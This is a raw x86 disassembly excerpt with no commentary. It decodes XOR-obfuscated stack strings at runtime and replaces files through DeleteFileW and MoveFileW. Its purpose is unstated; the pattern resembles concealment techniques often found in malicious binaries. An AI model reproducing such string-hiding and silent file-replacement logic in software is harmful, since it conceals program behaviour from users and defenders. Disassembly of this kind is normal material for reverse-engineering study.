mov dword [ebp - 0x12c8], 0x32c36be0
mov dword [ebp - 0x12c4], 0xe25e2caa
mov dword [ebp - 0x2090], 0x32c36be0
mov dword [ebp - 0x208c], 0xe25e2caa
mov dword [ebp - 0x12c0], 0x15574255
mov dword [ebp - 0x12bc], 0x64fed346
mov dword [ebp - 0x2088], 0x15574255
mov dword [ebp - 0x2084], 0x64fed346
mov dword [ebp - 0x12b8], 0x6a727501
mov dword [ebp - 0x12b4], 0x109ad0b2
mov dword [ebp - 0x2080], 0x6a727501
mov dword [ebp - 0x207c], 0x109ad0b2
mov dword [ebp - 0x12b0], 0x49a9c3af
mov dword [ebp - 0x12ac], 0xba15d676
mov dword [ebp - 0x2078], 0x49a9c3af
lea eax, [ebp - 0x2058]
mov dword [ebp - 0x2074], 0xba15d676
push eax
lea eax, [ebp - 0x2098]
mov dword [ebp - 0x12a8], 0x2c7e866
push eax
lea ecx, [ebp - 0x3368]
mov dword [ebp - 0x12a4], 0x10926800
mov dword [ebp - 0x2070], 0x2c7e866
mov dword [ebp - 0x206c], 0x10926800
mov dword [ebp - 0x12a0], 0x5dc238e3
mov dword [ebp - 0x129c], 0x414bf1d5
mov dword [ebp - 0x2068], 0x5dc238e3
mov dword [ebp - 0x2064], 0x414bf1d5
mov dword [ebp - 0x1298], 0x12771dd6
mov dword [ebp - 0x1294], 0x6f59e049
mov dword [ebp - 0x2060], 0x12771dd6
mov dword [ebp - 0x205c], 0x6f59e049
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x12d0]
lea eax, [ebp - 0x12d0]
pxor xmm1, xmmword [ebp - 0x8b0]
movaps xmmword [ebp - 0x12d0], xmm1
movaps xmm1, xmmword [ebp - 0x8a0]
pxor xmm1, xmmword [ebp - 0x12c0]
movaps xmmword [ebp - 0x12c0], xmm1
movaps xmm1, xmmword [ebp - 0x890]
pxor xmm1, xmmword [ebp - 0x12b0]
movaps xmmword [ebp - 0x12b0], xmm1
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0x12a0]
push esi
push eax
movaps xmmword [ebp - 0x12a0], xmm1
call fcn.0044b300
add esp, 8
mov dword [ebp - 0x2d90], 0xfe5af93b
lea eax, [ebp - 0x2d80]
mov dword [ebp - 0x2d8c], 0x875c9a77
lea ecx, [ebp - 0x3360]
mov dword [ebp - 0x2d88], 0x51a004c0
mov dword [ebp - 0x2d84], 0x863b5edf
push eax
lea eax, [ebp - 0x2d90]
push eax
call fcn.0045f450
lea eax, [ebp - 0x2d90]
mov dword [ebp - 0x850], 0xad0fb86b
push eax
lea eax, [ebp - 0x2da0]
mov dword [ebp - 0x84c], 0x875c9a32
push eax
lea ecx, [ebp - 0x3358]
mov dword [ebp - 0x2da0], 0xad0fb86b
mov dword [ebp - 0x2d9c], 0x875c9a32
mov dword [ebp - 0x848], 0x51a004c0
mov dword [ebp - 0x844], 0x863b5edf
mov dword [ebp - 0x2d98], 0x51a004c0
mov dword [ebp - 0x2d94], 0x863b5edf
call fcn.0045f450
lea eax, [ebp - 0x2da0]
mov dword [ebp - 0xba0], 0xfe5af93b
push eax
lea eax, [ebp - 0x2db0]
mov dword [ebp - 0xb9c], 0x875c9a77
push eax
lea ecx, [ebp - 0x3350]
mov dword [ebp - 0x2db0], 0xfe5af93b
mov dword [ebp - 0x2dac], 0x875c9a77
mov dword [ebp - 0xb98], 0x51a004c0
mov dword [ebp - 0xb94], 0x863b5edf
mov dword [ebp - 0x2da8], 0x51a004c0
mov dword [ebp - 0x2da4], 0x863b5edf
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x850]
lea eax, [ebp - 0xba0]
pxor xmm1, xmmword [ebp - 0xba0]
push eax
movaps xmmword [ebp - 0xba0], xmm1
call fcn.005d657d
add esp, 4
jmp 0x45d03e
lea eax, [ebp - 0x638]
push eax
lea ecx, [ebp - 0x2260]
call fcn.0045e160
lea ecx, [ebp - 0x2260]
mov byte [ebp - 4], 0x12
call fcn.0044da70
lea ecx, [ebp - 0x2260]
mov dword [0x67ee04], eax
call fcn.0045e100
lea ecx, [ebp - 0x8e8]
call fcn.0045e3a0
sub esp, 0x18
mov dword [ebp - 0x2b2c], eax
mov edi, esp
mov dword [ebp - 0x2b34], esp
mov dword [ebp - 0x2b38], edi
mov ecx, edi
push dword [ebp - 0x2b34]
call fcn.004611d0
mov byte [ebp - 4], 0x13
mov edx, dword [ebp - 0x2b2c]
mov ecx, edx
lea eax, [ecx + 1]
mov dword [ebp - 0x2b2c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x457c90
sub ecx, dword [ebp - 0x2b2c]
push ecx
push edx
mov ecx, edi
call fcn.004611f0
sub esp, 0x18
mov byte [ebp - 4], 0x14
lea eax, [ebp - 0x988]
mov ecx, esp
push eax
call fcn.0045e6f0
mov byte [ebp - 4], 5
call fcn.0044dbb0
mov edi, eax
add esp, 0x30
cmp edi, 0x1a0a
jne 0x458037
mov dword [ebp - 0x1200], 0x145a4116
lea eax, [ebp - 0x1210]
mov dword [ebp - 0x11fc], 0x69ecd304
mov dword [ebp - 0x11f8], 0x61687f07
mov dword [ebp - 0x11f4], 0x49f85f5
mov dword [ebp - 0x11f0], 0x2580f3ee
mov dword [ebp - 0x11ec], 0xa4509122
mov dword [ebp - 0x11e8], 0x47c1f475
mov dword [ebp - 0x11e4], 0x19d67310
mov dword [ebp - 0x11e0], 0x5c8379b6
mov dword [ebp - 0x11dc], 0x243ddb8e
mov dword [ebp - 0x11d8], 0x7d1e6ea4
mov dword [ebp - 0x11d4], 0x6f53ce27
mov dword [ebp - 0x1210], 0x8d78dd25
mov dword [ebp - 0x120c], 0xf42eff44
mov dword [ebp - 0x1208], 0x71ce6ba9
mov dword [ebp - 0x1204], 0xe34f3bbb
movaps xmm1, xmmword [ebp - 0x1210]
mov dword [ebp - 0x8b0], 0xad0fb86b
mov dword [ebp - 0x8ac], 0x875c9a32
mov dword [ebp - 0x8a8], 0x51a004c0
mov dword [ebp - 0x8a4], 0x863b5edf
pxor xmm1, xmmword [ebp - 0x8b0]
movaps xmmword [ebp - 0x1210], xmm1
mov dword [ebp - 0x8a0], 0x703f3575
mov dword [ebp - 0x89c], 0x59cf328
mov dword [ebp - 0x898], 0x41b1e62
mov dword [ebp - 0x894], 0x60eff0d5
movaps xmm1, xmmword [ebp - 0x8a0]
pxor xmm1, xmmword [ebp - 0x1200]
movaps xmmword [ebp - 0x1200], xmm1
mov dword [ebp - 0x890], 0x5e5878f
mov dword [ebp - 0x88c], 0xc870fe56
mov dword [ebp - 0x888], 0x22b58714
mov dword [ebp - 0x884], 0x75f60763
movaps xmm1, xmmword [ebp - 0x890]
pxor xmm1, xmmword [ebp - 0x11f0]
movaps xmmword [ebp - 0x11f0], xmm1
mov dword [ebp - 0x880], 0x39e718d9
mov dword [ebp - 0x87c], 0x414bfbfc
mov dword [ebp - 0x878], 0x12771dd6
mov dword [ebp - 0x874], 0x6f59e049
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0x11e0]
push eax
movaps xmmword [ebp - 0x11e0], xmm1
call fcn.0044b300
mov dword [ebp - 0x11d0], 0xc378d72f
add esp, 4
mov dword [ebp - 0x11cc], 0xe33df55e
mov dword [ebp - 0x11c8], 0x3fc968e0
mov dword [ebp - 0x11c4], 0xee1b64b4
mov dword [ebp - 0x11c0], 0x4a4f4101
mov dword [ebp - 0x11bc], 0x6beadc07
mov dword [ebp - 0x11b8], 0x2a637f0a
mov dword [ebp - 0x11b4], 0x4f829fb6
mov dword [ebp - 0x11b0], 0x6184e8e3
mov dword [ebp - 0x11ac], 0xa65d8c33
mov dword [ebp - 0x11a8], 0x22bff071
mov dword [ebp - 0x11a4], 0x75f60763
mov dword [ebp - 0x8a0], 0xad0fb86b
mov dword [ebp - 0x89c], 0x875c9a32
mov dword [ebp - 0x898], 0x51a004c0
mov dword [ebp - 0x894], 0x863b5edf
movaps xmm1, xmmword [ebp - 0x8a0]
pxor xmm1, xmmword [ebp - 0x11d0]
movaps xmmword [ebp - 0x11d0], xmm1
mov dword [ebp - 0x890], 0x703f3575
mov dword [ebp - 0x88c], 0x59cf328
mov dword [ebp - 0x888], 0x41b1e62
mov dword [ebp - 0x884], 0x60eff0d5
movaps xmm1, xmmword [ebp - 0x890]
pxor xmm1, xmmword [ebp - 0x11c0]
mov dword [ebp - 0x880], 0x5e5878f
mov dword [ebp - 0x87c], 0xc870fe56
mov dword [ebp - 0x878], 0x22b58714
mov dword [ebp - 0x874], 0x75f60763
movaps xmmword [ebp - 0x11c0], xmm1
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0x11b0]
movaps xmmword [ebp - 0x11b0], xmm1
lea eax, [ebp - 0x11d0]
push eax
call fcn.0044b300
mov dword [ebp - 0xbb0], 0xfe5af93b
lea eax, [ebp - 0xbb0]
mov dword [ebp - 0xbac], 0x875c9a77
add esp, 4
mov dword [ebp - 0xba8], 0x51a004c0
mov dword [ebp - 0xba4], 0x863b5edf
movaps xmm1, xmmword [ebp - 0xbb0]
mov dword [ebp - 0x850], 0xad0fb86b
mov dword [ebp - 0x84c], 0x875c9a32
mov dword [ebp - 0x848], 0x51a004c0
mov dword [ebp - 0x844], 0x863b5edf
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xbb0], xmm1
call fcn.005d657d
add esp, 4
jmp 0x45769d
cmp edi, 0x100000
jae 0x458397
lea eax, [ebp - 0x1658]
mov dword [ebp - 0x1678], 0x8d529230
push eax
lea eax, [ebp - 0x1678]
mov dword [ebp - 0x1674], 0xe62af47b
push eax
lea ecx, [ebp - 0x3348]
mov dword [ebp - 0x1670], 0x71c46dac
mov dword [ebp - 0x166c], 0xe34137ac
mov dword [ebp - 0x1668], 0x141a154f
mov dword [ebp - 0x1664], 0x59cf322
mov dword [ebp - 0x1660], 0x41b1e62
mov dword [ebp - 0x165c], 0x60eff0d5
call fcn.0045f450
lea eax, [ebp - 0x1638]
mov dword [ebp - 0x860], 0xad0fb86b
push eax
lea eax, [ebp - 0x1658]
mov dword [ebp - 0x85c], 0x875c9a32
push eax
lea ecx, [ebp - 0x3340]
mov dword [ebp - 0x1658], 0xad0fb86b
mov dword [ebp - 0x1654], 0x875c9a32
mov dword [ebp - 0x858], 0x51a004c0
mov dword [ebp - 0x854], 0x863b5edf
mov dword [ebp - 0x1650], 0x51a004c0
mov dword [ebp - 0x164c], 0x863b5edf
mov dword [ebp - 0x850], 0x703f3575
mov dword [ebp - 0x84c], 0x59cf328
mov dword [ebp - 0x1648], 0x703f3575
mov dword [ebp - 0x1644], 0x59cf328
mov dword [ebp - 0x848], 0x41b1e62
mov dword [ebp - 0x844], 0x60eff0d5
mov dword [ebp - 0x1640], 0x41b1e62
mov dword [ebp - 0x163c], 0x60eff0d5
call fcn.0045f450
lea eax, [ebp - 0x1618]
mov dword [ebp - 0xec0], 0x8d529230
push eax
lea eax, [ebp - 0x1638]
mov dword [ebp - 0xebc], 0xe62af47b
push eax
lea ecx, [ebp - 0x3338]
mov dword [ebp - 0x1638], 0x8d529230
mov dword [ebp - 0x1634], 0xe62af47b
mov dword [ebp - 0xeb8], 0x71c46dac
mov dword [ebp - 0xeb4], 0xe34137ac
mov dword [ebp - 0x1630], 0x71c46dac
mov dword [ebp - 0x162c], 0xe34137ac
mov dword [ebp - 0xeb0], 0x141a154f
mov dword [ebp - 0xeac], 0x59cf322
mov dword [ebp - 0x1628], 0x141a154f
mov dword [ebp - 0x1624], 0x59cf322
mov dword [ebp - 0xea8], 0x41b1e62
mov dword [ebp - 0xea4], 0x60eff0d5
mov dword [ebp - 0x1620], 0x41b1e62
mov dword [ebp - 0x161c], 0x60eff0d5
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x860]
lea eax, [ebp - 0xec0]
pxor xmm1, xmmword [ebp - 0xec0]
movaps xmmword [ebp - 0xec0], xmm1
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xeb0]
push edi
push eax
movaps xmmword [ebp - 0xeb0], xmm1
call fcn.0044b300
add esp, 8
mov dword [ebp - 0x2dc0], 0xfe5af93b
lea eax, [ebp - 0x2db0]
mov dword [ebp - 0x2dbc], 0x875c9a77
lea ecx, [ebp - 0x3330]
mov dword [ebp - 0x2db8], 0x51a004c0
mov dword [ebp - 0x2db4], 0x863b5edf
push eax
lea eax, [ebp - 0x2dc0]
push eax
call fcn.0045f450
mov dword [ebp - 0x850], 0xad0fb86b
mov dword [ebp - 0x84c], 0x875c9a32
lea eax, [ebp - 0x2dc0]
mov dword [ebp - 0x2dd0], 0xad0fb86b
push eax
lea eax, [ebp - 0x2dd0]
mov dword [ebp - 0x2dcc], 0x875c9a32
push eax
lea ecx, [ebp - 0x3328]
mov dword [ebp - 0x848], 0x51a004c0
mov dword [ebp - 0x844], 0x863b5edf
mov dword [ebp - 0x2dc8], 0x51a004c0
mov dword [ebp - 0x2dc4], 0x863b5edf
call fcn.0045f450
lea eax, [ebp - 0x2dd0]
mov dword [ebp - 0xbc0], 0xfe5af93b
push eax
lea eax, [ebp - 0x2de0]
mov dword [ebp - 0xbbc], 0x875c9a77
push eax
lea ecx, [ebp - 0x3320]
mov dword [ebp - 0x2de0], 0xfe5af93b
mov dword [ebp - 0x2ddc], 0x875c9a77
mov dword [ebp - 0xbb8], 0x51a004c0
mov dword [ebp - 0xbb4], 0x863b5edf
mov dword [ebp - 0x2dd8], 0x51a004c0
mov dword [ebp - 0x2dd4], 0x863b5edf
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0xbc0]
lea eax, [ebp - 0xbc0]
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xbc0], xmm1
call fcn.005d657d
add esp, 4
jmp 0x45d03e
cmp edi, dword [0x67ee04]
jne 0x4585c5
lea eax, [ebp - 0x15f8]
mov dword [ebp - 0x1618], 0x8d529230
push eax
lea eax, [ebp - 0x1618]
mov dword [ebp - 0x1614], 0xe92bf576
push eax
lea ecx, [ebp - 0x3318]
mov dword [ebp - 0x1610], 0x35c16bac
mov dword [ebp - 0x160c], 0xef502dff
mov dword [ebp - 0x1608], 0x145a4505
mov dword [ebp - 0x1604], 0x59cf322
mov dword [ebp - 0x1600], 0x41b1e62
mov dword [ebp - 0x15fc], 0x60eff0d5
call fcn.0045f450
lea eax, [ebp - 0x15d8]
mov dword [ebp - 0x860], 0xad0fb86b
push eax
lea eax, [ebp - 0x15f8]
mov dword [ebp - 0x85c], 0x875c9a32
push eax
lea ecx, [ebp - 0x3308]
mov dword [ebp - 0x15f8], 0xad0fb86b
mov dword [ebp - 0x15f4], 0x875c9a32
mov dword [ebp - 0x858], 0x51a004c0
mov dword [ebp - 0x854], 0x863b5edf
mov dword [ebp - 0x15f0], 0x51a004c0
mov dword [ebp - 0x15ec], 0x863b5edf
mov dword [ebp - 0x850], 0x703f3575
mov dword [ebp - 0x84c], 0x59cf328
mov dword [ebp - 0x15e8], 0x703f3575
mov dword [ebp - 0x15e4], 0x59cf328
mov dword [ebp - 0x848], 0x41b1e62
mov dword [ebp - 0x844], 0x60eff0d5
mov dword [ebp - 0x15e0], 0x41b1e62
mov dword [ebp - 0x15dc], 0x60eff0d5
call fcn.0045f450
lea eax, [ebp - 0x15b8]
mov dword [ebp - 0xee0], 0x8d529230
push eax
lea eax, [ebp - 0x15d8]
mov dword [ebp - 0xedc], 0xe92bf576
push eax
lea ecx, [ebp - 0x3300]
mov dword [ebp - 0x15d8], 0x8d529230
mov dword [ebp - 0x15d4], 0xe92bf576
mov dword [ebp - 0xed8], 0x35c16bac
mov dword [ebp - 0xed4], 0xef502dff
mov dword [ebp - 0x15d0], 0x35c16bac
mov dword [ebp - 0x15cc], 0xef502dff
mov dword [ebp - 0xed0], 0x145a4505
mov dword [ebp - 0xecc], 0x59cf322
mov dword [ebp - 0x15c8], 0x145a4505
mov dword [ebp - 0x15c4], 0x59cf322
mov dword [ebp - 0xec8], 0x41b1e62
mov dword [ebp - 0xec4], 0x60eff0d5
mov dword [ebp - 0x15c0], 0x41b1e62
mov dword [ebp - 0x15bc], 0x60eff0d5
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x860]
lea eax, [ebp - 0xee0]
pxor xmm1, xmmword [ebp - 0xee0]
movaps xmmword [ebp - 0xee0], xmm1
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xed0]
push eax
movaps xmmword [ebp - 0xed0], xmm1
call fcn.0044b300
add esp, 4
mov byte [0x67edf9], 1
jmp 0x458973
lea eax, [ebp - 0x2de0]
mov dword [ebp - 0x2df0], 0xc378d72f
push eax
lea eax, [ebp - 0x2df0]
mov dword [ebp - 0x2dec], 0xe33df55e
push eax
lea ecx, [ebp - 0x32f8]
mov dword [ebp - 0x2de8], 0x6bc76aa9
mov dword [ebp - 0x2de4], 0x863b5ed5
call fcn.0045f450
lea eax, [ebp - 0x2df0]
mov dword [ebp - 0x850], 0xad0fb86b
push eax
lea eax, [ebp - 0x2e00]
mov dword [ebp - 0x84c], 0x875c9a32
push eax
lea ecx, [ebp - 0x32f0]
mov dword [ebp - 0x2e00], 0xad0fb86b
mov dword [ebp - 0x2dfc], 0x875c9a32
mov dword [ebp - 0x848], 0x51a004c0
mov dword [ebp - 0x844], 0x863b5edf
mov dword [ebp - 0x2df8], 0x51a004c0
mov dword [ebp - 0x2df4], 0x863b5edf
call fcn.0045f450
lea eax, [ebp - 0x2e00]
mov dword [ebp - 0xbd0], 0xc378d72f
push eax
lea eax, [ebp - 0x2e10]
mov dword [ebp - 0xbcc], 0xe33df55e
push eax
lea ecx, [ebp - 0x32e8]
mov dword [ebp - 0x2e10], 0xc378d72f
mov dword [ebp - 0x2e0c], 0xe33df55e
mov dword [ebp - 0xbc8], 0x6bc76aa9
mov dword [ebp - 0xbc4], 0x863b5ed5
mov dword [ebp - 0x2e08], 0x6bc76aa9
mov dword [ebp - 0x2e04], 0x863b5ed5
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0xbd0]
lea eax, [ebp - 0xbd0]
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xbd0], xmm1
call fcn.0044b300
add esp, 4
mov dword [ebp - 0x15b8], 0xad60b828
lea eax, [ebp - 0x1598]
mov dword [ebp - 0x15b4], 0x872f9a5c
lea ecx, [ebp - 0x32e0]
mov dword [ebp - 0x15b0], 0x51d204b4
mov dword [ebp - 0x15ac], 0x86585eaa
push eax
lea eax, [ebp - 0x15b8]
mov dword [ebp - 0x15a8], 0x70503501
push eax
mov dword [ebp - 0x15a4], 0x5b2f35a
mov dword [ebp - 0x15a0], 0x4771e06
mov dword [ebp - 0x159c], 0x60eff0b9
call fcn.0045f450
lea eax, [ebp - 0x1578]
mov dword [ebp - 0x860], 0xad0fb86b
push eax
lea eax, [ebp - 0x1598]
mov dword [ebp - 0x85c], 0x875c9a32
push eax
lea ecx, [ebp - 0x32d8]
mov dword [ebp - 0x1598], 0xad0fb86b
mov dword [ebp - 0x1594], 0x875c9a32
mov dword [ebp - 0x858], 0x51a004c0
mov dword [ebp - 0x854], 0x863b5edf
mov dword [ebp - 0x1590], 0x51a004c0
mov dword [ebp - 0x158c], 0x863b5edf
mov dword [ebp - 0x850], 0x703f3575
mov dword [ebp - 0x84c], 0x59cf328
mov dword [ebp - 0x1588], 0x703f3575
mov dword [ebp - 0x1584], 0x59cf328
mov dword [ebp - 0x848], 0x41b1e62
mov dword [ebp - 0x844], 0x60eff0d5
mov dword [ebp - 0x1580], 0x41b1e62
mov dword [ebp - 0x157c], 0x60eff0d5
call fcn.0045f450
lea eax, [ebp - 0x1558]
mov dword [ebp - 0xf00], 0xad60b828
push eax
lea eax, [ebp - 0x1578]
mov dword [ebp - 0xefc], 0x872f9a5c
push eax
lea ecx, [ebp - 0x32d0]
mov dword [ebp - 0x1578], 0xad60b828
mov dword [ebp - 0x1574], 0x872f9a5c
mov dword [ebp - 0xef8], 0x51d204b4
mov dword [ebp - 0xef4], 0x86585eaa
mov dword [ebp - 0x1570], 0x51d204b4
mov dword [ebp - 0x156c], 0x86585eaa
mov dword [ebp - 0xef0], 0x70503501
mov dword [ebp - 0xeec], 0x5b2f35a
mov dword [ebp - 0x1568], 0x70503501
mov dword [ebp - 0x1564], 0x5b2f35a
mov dword [ebp - 0xee8], 0x4771e06
mov dword [ebp - 0xee4], 0x60eff0b9
mov dword [ebp - 0x1560], 0x4771e06
mov dword [ebp - 0x155c], 0x60eff0b9
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0xf00]
lea eax, [ebp - 0xf00]
pxor xmm1, xmmword [ebp - 0x860]
sub esp, 0x18
movaps xmmword [ebp - 0xf00], xmm1
mov ecx, esp
movaps xmm1, xmmword [ebp - 0xef0]
pxor xmm1, xmmword [ebp - 0x850]
mov dword [ebp - 0x2b34], esp
push eax
movaps xmmword [ebp - 0xef0], xmm1
call fcn.0045e160
sub esp, 0x18
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x8e8]
mov dword [ebp - 0x2b2c], esp
mov esi, esp
call fcn.0045e3a0
push eax
mov ecx, esi
call fcn.0045e6b0
sub esp, 0x18
mov byte [ebp - 4], 0x16
lea eax, [ebp - 0x988]
mov ecx, esp
push eax
call fcn.0045e6f0
mov ecx, edi
mov byte [ebp - 4], 5
call fcn.00453a30
add esp, 0x48
cmp byte [0x67edf9], 0
je 0x4593d0
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [ebp - 0x1dc8]
mov dword [ebp - 0x1df8], 0xad60b828
push eax
lea eax, [ebp - 0x1df8]
mov dword [ebp - 0x1df4], 0x872f9a5c
push eax
lea ecx, [ebp - 0x32c8]
mov dword [ebp - 0x1df0], 0x51d204b4
mov dword [ebp - 0x1dec], 0x86585eaa
mov dword [ebp - 0x1de8], 0x70503501
mov dword [ebp - 0x1de4], 0x5b2f35a
mov dword [ebp - 0x1de0], 0x4771e06
mov dword [ebp - 0x1ddc], 0x60c1f0b9
mov dword [ebp - 0x1dd8], 0x58487ed
mov dword [ebp - 0x1dd4], 0xc870fe3d
mov dword [ebp - 0x1dd0], 0x22b58714
mov dword [ebp - 0x1dcc], 0x75f60763
call fcn.0045f450
lea eax, [ebp - 0x1df8]
mov dword [ebp - 0x8a0], 0xad0fb86b
push eax
lea eax, [ebp - 0x1e28]
mov dword [ebp - 0x89c], 0x875c9a32
push eax
lea ecx, [ebp - 0x32c0]
mov dword [ebp - 0x1e28], 0xad0fb86b
mov dword [ebp - 0x1e24], 0x875c9a32
mov dword [ebp - 0x898], 0x51a004c0
mov dword [ebp - 0x894], 0x863b5edf
mov dword [ebp - 0x1e20], 0x51a004c0
mov dword [ebp - 0x1e1c], 0x863b5edf
mov dword [ebp - 0x890], 0x703f3575
mov dword [ebp - 0x88c], 0x59cf328
mov dword [ebp - 0x1e18], 0x703f3575
mov dword [ebp - 0x1e14], 0x59cf328
mov dword [ebp - 0x888], 0x41b1e62
mov dword [ebp - 0x884], 0x60eff0d5
mov dword [ebp - 0x1e10], 0x41b1e62
mov dword [ebp - 0x1e0c], 0x60eff0d5
mov dword [ebp - 0x880], 0x5e5878f
mov dword [ebp - 0x87c], 0xc870fe56
mov dword [ebp - 0x1e08], 0x5e5878f
mov dword [ebp - 0x1e04], 0xc870fe56
mov dword [ebp - 0x878], 0x22b58714
mov dword [ebp - 0x874], 0x75f60763
mov dword [ebp - 0x1e00], 0x22b58714
mov dword [ebp - 0x1dfc], 0x75f60763
call fcn.0045f450
lea eax, [ebp - 0x1e28]
mov dword [ebp - 0x1170], 0xad60b828
push eax
lea eax, [ebp - 0x1e58]
mov dword [ebp - 0x116c], 0x872f9a5c
push eax
lea ecx, [ebp - 0x32b8]
mov dword [ebp - 0x1e58], 0xad60b828
mov dword [ebp - 0x1e54], 0x872f9a5c
mov dword [ebp - 0x1168], 0x51d204b4
mov dword [ebp - 0x1164], 0x86585eaa
mov dword [ebp - 0x1e50], 0x51d204b4
mov dword [ebp - 0x1e4c], 0x86585eaa
mov dword [ebp - 0x1160], 0x70503501
mov dword [ebp - 0x115c], 0x5b2f35a
mov dword [ebp - 0x1e48], 0x70503501
mov dword [ebp - 0x1e44], 0x5b2f35a
mov dword [ebp - 0x1158], 0x4771e06
mov dword [ebp - 0x1154], 0x60c1f0b9
mov dword [ebp - 0x1e40], 0x4771e06
mov dword [ebp - 0x1e3c], 0x60c1f0b9
mov dword [ebp - 0x1150], 0x58487ed
mov dword [ebp - 0x114c], 0xc870fe3d
mov dword [ebp - 0x1e38], 0x58487ed
mov dword [ebp - 0x1e34], 0xc870fe3d
mov dword [ebp - 0x1148], 0x22b58714
mov dword [ebp - 0x1144], 0x75f60763
mov dword [ebp - 0x1e30], 0x22b58714
mov dword [ebp - 0x1e2c], 0x75f60763
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x1170]
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x1170], xmm1
movaps xmm1, xmmword [ebp - 0x890]
lea eax, [ebp - 0x228]
pxor xmm1, xmmword [ebp - 0x1160]
mov edi, dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
push 0
push eax
movaps xmmword [ebp - 0x1160], xmm1
lea eax, [ebp - 0x1170]
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0x1150]
push 0x104
push eax
movaps xmmword [ebp - 0x1150], xmm1
call edi
lea eax, [ebp - 0x1538]
mov dword [ebp - 0x1558], 0xad60b828
push eax
lea eax, [ebp - 0x1558]
mov dword [ebp - 0x1554], 0x872f9a5c
push eax
lea ecx, [ebp - 0x32b0]
mov dword [ebp - 0x1550], 0x51d204b4
mov dword [ebp - 0x154c], 0x86585eaa
mov dword [ebp - 0x1548], 0x70503501
mov dword [ebp - 0x1544], 0x5b2f35a
mov dword [ebp - 0x1540], 0x4771e06
mov dword [ebp - 0x153c], 0x60eff0b9
call fcn.0045f450
lea eax, [ebp - 0x1518]
mov dword [ebp - 0x860], 0xad0fb86b
push eax
lea eax, [ebp - 0x1538]
mov dword [ebp - 0x85c], 0x875c9a32
push eax
lea ecx, [ebp - 0x32a8]
mov dword [ebp - 0x1538], 0xad0fb86b
mov dword [ebp - 0x1534], 0x875c9a32
mov dword [ebp - 0x858], 0x51a004c0
mov dword [ebp - 0x854], 0x863b5edf
mov dword [ebp - 0x1530], 0x51a004c0
mov dword [ebp - 0x152c], 0x863b5edf
mov dword [ebp - 0x850], 0x703f3575
mov dword [ebp - 0x84c], 0x59cf328
mov dword [ebp - 0x1528], 0x703f3575
mov dword [ebp - 0x1524], 0x59cf328
mov dword [ebp - 0x848], 0x41b1e62
mov dword [ebp - 0x844], 0x60eff0d5
mov dword [ebp - 0x1520], 0x41b1e62
mov dword [ebp - 0x151c], 0x60eff0d5
call fcn.0045f450
lea eax, [ebp - 0x14f8]
mov dword [ebp - 0xc20], 0xad60b828
push eax
lea eax, [ebp - 0x1518]
mov dword [ebp - 0xc1c], 0x872f9a5c
push eax
lea ecx, [ebp - 0x32a0]
mov dword [ebp - 0x1518], 0xad60b828
mov dword [ebp - 0x1514], 0x872f9a5c
mov dword [ebp - 0xc18], 0x51d204b4
mov dword [ebp - 0xc14], 0x86585eaa
mov dword [ebp - 0x1510], 0x51d204b4
mov dword [ebp - 0x150c], 0x86585eaa
mov dword [ebp - 0xc10], 0x70503501
mov dword [ebp - 0xc0c], 0x5b2f35a
mov dword [ebp - 0x1508], 0x70503501
mov dword [ebp - 0x1504], 0x5b2f35a
mov dword [ebp - 0xc08], 0x4771e06
mov dword [ebp - 0xc04], 0x60eff0b9
mov dword [ebp - 0x1500], 0x4771e06
mov dword [ebp - 0x14fc], 0x60eff0b9
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0xc20]
lea eax, [ebp - 0x638]
pxor xmm1, xmmword [ebp - 0x860]
movaps xmmword [ebp - 0xc20], xmm1
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xc10]
push 0
movaps xmmword [ebp - 0xc10], xmm1
push eax
push 0x104
lea eax, [ebp - 0xc20]
push eax
call edi
lea eax, [ebp - 0x638]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x638]
push eax
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x4593d6
call esi
mov esi, eax
mov dword [ebp - 0x20d8], 0xc82fd62a
lea eax, [ebp - 0x2098]
mov dword [ebp - 0x20d4], 0xf533e840
push eax
lea eax, [ebp - 0x20d8]
mov dword [ebp - 0x20d0], 0x22c173e0
push eax
lea ecx, [ebp - 0x3298]
mov dword [ebp - 0x20cc], 0xe55831ff
mov dword [ebp - 0x20c8], 0x145a4700
mov dword [ebp - 0x20c4], 0x60f48408
mov dword [ebp - 0x20c0], 0x61693e0c
mov dword [ebp - 0x20bc], 0x128084a6
mov dword [ebp - 0x20b8], 0x2582e9e6
mov dword [ebp - 0x20b4], 0xe83cb212
mov dword [ebp - 0x20b0], 0x50c7e23c
mov dword [ebp - 0x20ac], 0x16d6750c
mov dword [ebp - 0x20a8], 0x3827cb6
mov dword [ebp - 0x20a4], 0x682fdedc
mov dword [ebp - 0x20a0], 0x12771ddc
mov dword [ebp - 0x209c], 0x6f59e049
call fcn.0045f450
lea eax, [ebp - 0x20d8]
mov dword [ebp - 0x8b0], 0xad0fb86b
push eax
lea eax, [ebp - 0x2118]
mov dword [ebp - 0x8ac], 0x875c9a32
push eax
lea ecx, [ebp - 0x3290]
mov dword [ebp - 0x2118], 0xad0fb86b
